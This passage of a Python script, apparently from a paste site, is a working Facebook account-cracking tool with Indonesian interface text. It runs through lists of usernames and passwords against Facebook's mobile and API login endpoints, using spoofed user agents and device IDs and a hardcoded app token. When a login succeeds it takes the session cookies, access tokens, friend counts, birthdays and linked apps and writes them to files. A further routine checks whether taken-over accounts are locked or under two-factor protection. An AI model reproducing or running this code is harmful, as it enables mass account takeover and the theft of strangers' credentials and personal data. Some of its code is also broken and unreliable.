- "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
- "sec-fetch-sest": "document",
- "sec-fetch-site": "none",
- "cache-control": "max-age=0",
- "upgrade-insecure-requests": "1",
- 'sec-fetch-user': '?1',
- "Host": "m.prod.facebook.com",
- "user-agent": ua_generate,
- })
- self.poge = byps.get('https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr').text
- try:
- lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
- jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
- li = re.search('name="li" value="(.*?)"', str(self.poge)).group(1)
- m_ts = re.search('name="m_ts" value="(.*?)"', str(self.poge)).group(1)
- except (AttributeError) as e:
- continue
- self.payload = {
- 'm_ts': m_ts,
- 'li': li,
- 'try_number': '0',
- 'unrecognized_tries': '0',
- 'prefill_contact_point': username,
- 'prefill_source': 'browser_dropdown',
- 'prefill_type': 'password',
- 'first_prefill_source': 'browser_dropdown',
- 'first_prefill_type': 'contact_point',
- 'had_cp_prefilled': 'true',
- 'had_password_prefilled': 'true',
- 'is_smart_lock': 'false',
- 'bi_xrwh': '0',
- 'lsd': lsd,
- 'jazoest': jazoest,
- 'login': 'Masuk'
- }
- byps.headers.update({
- 'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()]),
- 'accept': '*/*',
- 'accept-language': "en-US,id-ID,id;q=0.9",
- 'user-agent': ua_generate,
- 'Host': 'm.prod.facebook.com',
- 'x-fb-lsd': self.payload['lsd'],
- 'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
- 'sec-ch-ua-mobile': '?1',
- 'sec-fetch-mode': 'cors',
- 'Connection': 'keep-alive',
- 'sec-fetch-site': 'same-origin',
- 'origin': 'https://m.prod.facebook.com',
- "sec-ch-ua-platform": "Linux",
- 'x-asbd-id': '129477',
- 'referer': 'https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
- 'sec-fetch-dest': 'empty',
- 'content-type': 'application/x-www-form-urlencoded',
- 'upgrade-insecure-requests': '1',
- 'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
- 'accept-encoding': 'gzip, deflate, br, zstd',
- 'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
- })
- #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
- break
- except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecRegulerApi(username, password)
- except (Exception) as e: print(e)
- for passe in password:
- try:
- self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10], passe)})
- self.response = byps.post('https://m.prod.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cbt%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9', data = self.payload, allow_redirects = True)
- if 'c_user' in byps.cookies.get_dict().keys():
- self.ok+=1
- cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except (Exception) as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'checkpoint' in byps.cookies.get_dict().keys():
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def ExecApi(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = Requ().useragent_api()
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- byps.headers.update({
- 'content-type':'application/x-www-form-urlencoded',
- 'x-fb-sim-hni':str(random.randint(20000, 40000)),
- 'x-fb-connection-type':'unknown',
- 'Authorization':'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32',
- 'user-agent': ua_generate,
- 'x-fb-net-hni':str(random.randint(20000, 40000)),
- 'x-fb-connection-bandwidth':str(random.randint(10000, 90000)),
- 'x-fb-connection-quality':'EXCELLENT',
- 'x-fb-friendly-name':'authenticate',
- 'accept-encoding':'gzip, deflate',
- 'x-fb-http-engine':'Liger'
- })
- self.payload = {
- 'adid': str(uuid.uuid4()),
- 'cpl':'true',
- 'credentials_type':'device_based_login_password',
- 'source': 'device_based_login',
- 'error_detail_type':'button_with_disabled',
- 'source':'login',
- 'format':'json',
- 'generate_session_cookies':'1',
- 'generate_analytics_claim':'1',
- 'machine_id': ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24)),
- 'generate_machine_id':'1',
- 'locale':'en_US',
- 'client_country_code':'US',
- 'device_id': str(uuid.uuid4()),
- 'method': 'auth.login',
- 'fb_api_req_friendly_name': 'authenticate',
- 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'
- }
- break
- except requests.exceptions.ConnectionError: time.sleep(5); self.ExecApi(username, password)
- except Exception as e: pass
- for passe in password:
- try:
- self.payload.update({'email': username,'password': passe})
- self.response = byps.post('https://b-api.facebook.com/method/auth.login', data=self.payload, allow_redirects=False)
- if "session_key" in str(self.response.text) and "access_token" in str(self.response.text):
- self.ok+=1
- cookie = (f'sb={base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")};{";".join(i["name"]+"="+i["value"] for i in resp.json()["session_cookies"])}')
- access_token = self.payload.json()['access_token']
- try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
- except Exception as e: convert_username = username
- if 'ya' in self.opsi:
- try:
- teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
- Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
- if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
- else:
- for apk in active: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
- if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
- else:
- for apk in inactive: true.add(f"{apk}")
- true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
- if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
- else:
- for apk in deleted: true.add(f"{apk}")
- printz(tree)
- save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}|{access_token}\n')
- except (Exception) as e:
- print(e)
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{password}|{cookie}|{access_token}\n')
- else:
- tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- save = (f'{convert_username}|{passe}|{cookie}|{access_token}\n')
- with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif "User must verify their account" in self.response.text:
- try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
- except (Exception) as e: convert_username = username
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
- printz(tree)
- self.cp+=1
- with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
- wr.write(f'{convert_username}|{passe}\n')
- wr.close()
- break
- else: continue
- except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.lp+=1
- def DetedtorChekpoint(self, username, passwd):
- try:
- byps = requests.Session()
- soup = bs(byps.get("https://mbasic.facebook.com/login/?next&ref=dbl&fl&login_from_aymh=1&refid=8").text,"html.parser")
- resp = soup.find("form",{"method":"post"})
- for x in soup("input"): data.update({x.get("name"):x.get("value")})
- data.update({"email":username,"pass":passwd})
- repo = byps.post("https://mbasic.facebook.com"+resp.get("action"),data=data)
- resp2 = bs(repo.text, "html.parser")
- if "Temukan Akun Anda" in re.findall("\<title>(.*?)<\/title>",str(repo.text)):pass
- if "c_user" in byps.cookies.get_dict():
- if "Akun Anda Dikunci" in repo.text:
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold red]OPSS, AKUN TERKENA SESI NEW, KEMUNGKINAN SUSAH TERBUKA!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- else:
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold green]SELAMAT AKUN TAPYES, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- elif "checkpoint" in byps.cookies.get_dict():
- title = re.findall("\<title>(.*?)<\/title>",str(resp2))
- repo2 = resp2.find("form",{"method":"post"})
- for x in resp2("input"):
- if x.get("name") in ['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']: data2.update({x.get("name"):x.get("value")})
- resu = byps.post("https://mbasic.facebook.com"+repo2.get("action"),data=data2)
- resu2 =bs(resu.text,"html.parser")
- cek=[cek.text for cek in resu2.find_all("option")]
- if(len(cek)==0):
- if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold green]SELAMAT AKUN TIDAK CHEKPOINT, SILAKAN CEK DI FACEBOOK LITE!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(resp2)):
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold red]OPSS, AKUN TERPASANG AUTENTIKASI DUO FAKTOR!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- elif "Lihat notifikasi di perangkat lain" in str(resp2):
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold red]LIHAT NOTIFIKASI YANG DI KIRIM DARI PERANGKAT LAIN!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- else:
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold red]OPSS, TERJADI KESALAHAN, LOGIN ERROR NOT FOUND!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- else: pass
- for opt in range(len(cek)):
- tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold red]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold red]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel(f"[bold red]{str(opt+1)}. {cek[opt].upper()}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- else:
- tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
- true = tree.add(Columns([Panel(f"[bold blue]{username}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]User ID[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=30)]))
- tree.add(Panel(f"[bold blue]Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- tree.add(Panel("[bold blue]OPSS, KATA SANDI SALAH KEMUNGKINAN SUDAH DI UBAH!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Opsi Detedtor[bold grey50]) [bold green]<[bold yellow]<[bold red]<", style = "bold grey50", width=61))
- printz(tree)
- except (Exception) as e: pass
Add Comment
Please, Sign In to add comment